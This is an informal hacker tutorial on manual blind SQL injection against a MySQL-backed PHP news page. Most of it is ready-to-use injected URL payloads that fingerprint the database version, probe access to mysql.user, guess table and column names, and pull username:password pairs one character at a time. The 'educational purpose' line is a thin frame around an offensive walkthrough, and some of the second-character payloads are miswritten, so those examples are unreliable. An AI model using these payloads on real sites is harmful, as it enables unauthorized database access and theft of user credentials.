Blind injection is a little more
complicated the classic injection but it can be done :D
It's some what hard but good to Learn
1) http://www.site.com/news.php?id=5
when we execute this, we see some page and
articles on that page, pictures etc... then when we want to test it for blind sql
injection attack
2) http://www.site.com/news.php?id=5 and 1=1
<--- this is always true
and the page loads normally, that's ok.now the real test
3) http://www.site.com/news.php?id=5 and 1=2
<--- this is false
so if some text, picture or some content is
missing on returned page then that site is vulrnable to blind sql injection.Hacker's Work Started :)
1) Get the MySQL version
to get the version in blind attack we use
substring
i.e
http://www.site.com/news.php?id=5 and
substring(@@version,1,1)=4
this should return TRUE if the version of
MySQL is 4.replace 4 with 5, and if query return TRUE
then the version is 5.
i.e
http://www.site.com/news.php?id=5 and
substring(@@version,1,1)=5
2) Test if subselect works
when select don't work then we use
subselect
i.e
http://www.site.com/news.php?id=5 and
(select 1)=1
if page loads normally then subselects
work.then we gonna see if we have access to
mysql.user
i.e
http://www.site.com/news.php?id=5 and
(select 1 from mysql.user limit 0,1)=1
if page loads normally we have access to
mysql.user and then later we can pull some password usign load_file() function
and OUTFILE.
3). Check table and column names.This is part when guessing is the best
friend for Hacker ...
i.e.
http://www.site.com/news.php?id=5 and
(select 1 from users limit 0,1)=1 (with limit 0,1 our query here returns 1 row
of data, cause subselect returns only 1 row, this is very important.)
then if the page loads normally without
content missing, the table users exits.
if you get FALSE (some article missing),
just change table name until you guess the right one :)
let's say that we have found that table
name is users, now what we need is column name.
the same as table name, we start guessing.
Like i said before try the common names for columns.
i.e.
http://www.site.com/news.php?id=5 and
(select substring(concat(1,password),1,1) from users limit 0,1)=1
if the page loads normally we know that
column name is password (if we get false then try common names or just guess)
here we merge 1 with the column password,
then substring returns the first character (,1,1)
4). Pull data from database
we found table users i columns username
password so we gonna pull characters from that.
http://www.site.com/news.php?id=5 and
ascii(substring((SELECT concat(username,0x3a,password) from users limit
0,1),1,1))>80
ok this here pulls the first character from
first user in table users.
substring here returns first character and
1 character in length. ascii() converts that 1 character into ascii value and then compare it with simbol greater
then > .
so if the ascii char greater then 80, the
page loads normally. (TRUE)
we keep trying until we get false.
http://www.site.com/news.php?id=5 and
ascii(substring((SELECT concat(username,0x3a,password) from users limit
0,1),1,1))>95
we get TRUE, keep incrementing
http://www.site.com/news.php?id=5 and
ascii(substring((SELECT concat(username,0x3a,password) from users limit
0,1),1,1))>98
TRUE again, higher
http://www.site.com/news.php?id=5 and
ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>99
FALSE!!!
so the first character in username is
char(99). Using the ascii converter we know that char(99) is letter 'c'.
then let's check the second character.
http://www.site.com/news.php?id=5 and
ascii(substring((SELECT concat(username,0x3a,password) from users limit
0,1),2,1))>99
Note that i'm changed ,1,1 to ,2,1 to get
the second character. (now it returns the second character, 1 character in
lenght)
http://www.site.com/news.php?id=5 and
ascii(substring((SELECT concat(username,0x3a,password) from users limit
0,1),1,1))>99
TRUE, the page loads normally, higher.
http://www.site.com/news.php?id=5 and
ascii(substring((SELECT concat(username,0x3a,password) from users limit
0,1),1,1))>107
FALSE, lower number.
http://www.site.com/news.php?id=5 and
ascii(substring((SELECT concat(username,0x3a,password) from users limit
0,1),1,1))>104
TRUE, higher.
http://www.site.com/news.php?id=5 and
ascii(substring((SELECT concat(username,0x3a,password) from users limit
0,1),1,1))>105
FALSE!!!
we know that the second character is
char(105) and that is 'i'. We have 'ci' so far
so keep incrementing until you get the end.
(when >0 returns false we know that we have reach the end).
There are some tools for Blind SQL
Injection, i think sqlmap is the best, but i'm doing everything manually,
cause that makes you better SQL INJECTOR :D
Hope You Learned alot from this and This is just for Educational Purpose.
